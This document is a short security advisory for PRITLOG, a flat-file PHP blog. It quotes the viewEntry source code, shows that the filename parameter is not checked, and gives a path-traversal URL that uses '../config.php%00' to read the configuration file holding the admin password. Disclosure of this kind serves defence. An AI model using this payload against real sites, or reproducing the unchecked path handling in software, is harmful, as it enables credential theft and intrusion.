-- Description (by the author's page) --
PRITLOG is an extremely simple, small and powerful blog system. It does not
use or need a MYSQL database and fully works based on flat files. The idea
is derived from a similar app called PPLOG.
-- Bug --
You can navigate and see the entries. Something like as:
http://localhost/p/index.php?option=viewEntry&filename=00001
Code doesn't check the comments directory:
709. function viewEntry() {
710. $fileName = isset($_POST['filename'])?$_POST['filename']:$_GET['filename'];
711. global $postdir, $separator, $newPostFile, $newFullPostNumber, $debugMode, $config_textAreaCols, $config_textAreaRows;
712. global $config_allowComments, $config_commentsSecurityCode, $config_CAPTCHALength, $config_randomString;
713. global $commentdir,$config_dbFilesExtension, $config_onlyNumbersOnCAPTCHA;
714. $viewFileName=$postdir.$fileName.$config_dbFilesExtension;
-- Exploit --
If magic quotes are off you can do:
http://localhost/p/index.php?option=viewEntry&filename=../config.php%00
config.php has the admin password
